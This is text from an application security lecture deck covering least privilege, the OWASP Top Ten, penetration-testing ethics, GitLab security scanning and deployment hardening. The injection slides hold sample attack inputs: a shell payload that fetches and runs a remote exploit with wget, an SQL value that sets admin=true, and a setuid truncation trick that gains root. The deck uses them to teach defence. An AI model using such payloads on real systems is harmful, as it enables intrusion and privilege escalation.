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Why?
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I am protected… ?
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YES!
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I am protected… ?
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No, not 

really
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An incident in September 2008

Sebastian Lopienski – Application security – CSC on IT Services 2024 6



7Sebastian Lopienski – Application security – CSC on IT Services 2024



8Sebastian Lopienski – Application security – CSC on IT Services 2024



Three golden rules for system security
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Least privilege principle
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“Every program and every user of the system 

should operate using the least amount of privilege

necessary to complete the job.”

Forget any of the following:

$ sudo su -

USER root

GRANT ALL PRIVILEGES ON database.* TO 'user'@'%';

allowed = True

chmod a+rw *

$ mysql -u admin

accept: all

Set Visibility=public

jdbc:postgresql://…/database?user=admin



Defense in depth (multiple layers of defense)
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XIII century XXI century



Complexity kills security
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Which software would you prefer to maintain?

Map of system calls in Apache web server … in IIS web server



Things to avoid
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A complicated 

solution

Multiple possible 

points of failure

Catastrophic 

consequences



Three golden rules for system security

Least 
privilege 
principle

Complexity 
kills 

security

Defense 
in depth
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Software security
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int set_non_root_uid(unsigned int uid)

{

// making sure that uid is not 0 (root user) 

if (uid == 0) {  

return 1;

}

setuid(uid);

return 0;

}

set_non_root_uid(00000000 00000001 00000000 00000000) // 65536

...

if (             00000000 00000001 00000000 00000000 == 0) // 65536 != 0

...

setuid(          00000000 00000001 00000000 00000000)          // 0

Anything wrong 

with this code?

unsigned short int
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Anything wrong 

with this code?



Top Ten security flaws

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

1. Broken Access Control

2. Cryptographic Failures

3. Injections (SQL Injection, command injection, cross-site scripting etc.)

4. Insecure Design

5. Security Misconfiguration

6. Vulnerable and Outdated Components

7. Identification and Authentication Failures

8. Software and Data Integrity Failures

9. Security Logging and Monitoring Failures

10. Server-Side Request Forgery
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Security flaw #1: Broken Access Control

Examples:

– https://site.com/admin/ requires authentication, but 

https://site.com/admin/adduser?name=X works without authentication

– Changing the ID gives access to someone else’s data: 

https://shop.com/cart?id=413246 -> https://shop.com/cart?id=123456

– Missing access control for API access

– Sensitive data exposed, e.g. https://site.com/.git

– Unprotected, “hidden” files/data, e.g. https://corp.com/internal/salaries.xls

https://me.net/No/One/Will/Guess/82534/me.jpg

Solution:

– Add missing authorization 🙂

– Don‘t rely on “security by obscurity”🙈 – it doesn’t work!
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Security flaw #3: Injections

Command injection:

– server-side command: echo $UserInput > log

– malicious input: ; wget http://…/exploit ; ./exploit #

– executed command: echo ; wget http://…/exploit ; ./exploit # > log

echo ; wget http://…/exploit ; ./exploit # > log
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Security flaw #3: Injections

SQL injection:

– server-side query: UPDATE user SET age= $UserInput WHERE id=…

– malicious input: 25, admin=true

– executed query: UPDATE user SET age=25, admin=true WHERE id=…

UPDATE user SET age=25, admin=true WHERE id=…
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Security flaw #3: Injections

Vulnerability: user input is used in 

(concatenated with) server-side commands

Attack: malicious user input 

becomes part of the server-side command

and changes its logic

Solutions:

– Validate user input (filter, check if valid)

– Sanitize user input (quote/escape special characters)

– Securely pass user input to backend systems

(parametrized SQL queries, safe command-line calls etc.)
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User input

Server-side code

Backend systems 
(database, command-line etc.)

validate

sanitize pass securely



Security penetration testing
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A pentester?
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Security penetration testing

Goal: finding security vulnerabilities, misconfigurations, exposures etc.

– … in external software or systems (open source, closed source)

– … in in-house developed software

Same tools and techniques (mostly...) as black-hat hackers

However, done ethically and following the rules

– be open and transparent

– always get a permission from the owner of the system beforehand

– be careful, do not affect the tested systems or data

– don’t abuse any vulnerabilities that you have found

– report your findings back to the system owner, don’t share them with third parties
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Looking for…

• Missing or partial 

security measures

• Ways to bypass 

existing measures



Blackbox vs. whitebox testing

Are internals of the system known to the tester?

– architecture, source code, database structure, configuration ...

testing as a user                                      testing as a developer
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? ?



Demo
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Becoming a white-hat hacker (aka pentester)

Don’t assume; try!

– “What if I change this value?”

The browser is yours

– you can bypass client-side checks, manipulate data, 

alter or inject requests sent to the server etc.

– … and you should🙂

Build a security mindset

– think not how systems work, but how they can break

– https://www.schneier.com/blog/archives/2008/03/the_security_mi_1.html

29

Follow CERN 

WhiteHat training!
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Application security scanning

30



Application security scanning
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From https://docs.gitlab.com/ee/user/application_security

Enabled in CERN 

GitLab instance

https://docs.gitlab.com/ee/user/application_security


Various scans / tests toolkits available in GitLab
https://docs.gitlab.com/ee/user/application_security

Source code analysis:
– SAST (Static Application Security Testing) → looking for known vulnerabilities 

– Secret detection → looking for passwords, secrets, private keys in repository history

Dynamic (live) analysis:
– DAST (Dynamic Application Security Testing) → looking for known attack vectors

– API security → looking for known attack vectors

– API fuzzing → looking for unknown bugs/vulnerabilities

Dependency analysis:
– Dependency scanning → at build time

– Container scanning → once the container image is built

Infrastructure analysis:
– Infrastructure as Code (IaC) scanning → looking for common mistakes/vulnerabilities
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SAST (Static Application Security Testing)
https://docs.gitlab.com/ee/user/application_security/sast

• Tools that analyse source code, and look for potential 

security vulnerabilities, functionality bugs, performance issues etc.

• No magic:

– some trivial / obvious errors will be missed (false negatives)

– some reported issues are not in fact problematic (false positives)

– the tool won’t fix your code for you (that comes with AI…?)

• Many supported languages/frameworks (Python, C/C++, Java, JS, .NET etc.)

• Most scans done with semgrep

DEMO
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https://docs.gitlab.com/ee/user/application_security/sast
https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks
https://github.com/semgrep/semgrep


Secret detection – real life examples
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😐 partial exposure

😅 obsolete key

🙂 false positive (not a real exposure)



Things to avoid
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Deployment security
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Deployment security – a few reminders

Avoid supply-chain attacks

– use trusted software (libraries, modules, packages) → check popularity and history,

beware of typo-squatting (similar names)

– from trusted sources → use only legitimate repositories, check signatures

Harden your deployment

– less is more: install only the necessary packages, open only the required ports etc.

– update software regularly (rebuild image if needed)

– use unprivileged accounts

– restrict access to hosting / backend infrastructure

Protect secrets, use strong passwords, rotate keys

Sebastian Lopienski – Application security – CSC on IT Services 2024 38

FROM python:3.12-slim



Things to avoid
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Conclusions
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Take-aways

Follow three golden rules

Least privilege principle    |    Defense in depth    |    Complexity kills security

Ensure software security – avoid common vulnerabilities

Broken access control   |    Injection attacks

Use security analysis tools – include them in your CI/CD pipelines)

SAST (Static Application Security Testing)    |    Secret detection    |    Dependency scanning

Don’t neglect deployment security

Avoid supply-chain attacks    |    Harden your deployment     |    Protect secrets
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Thank you
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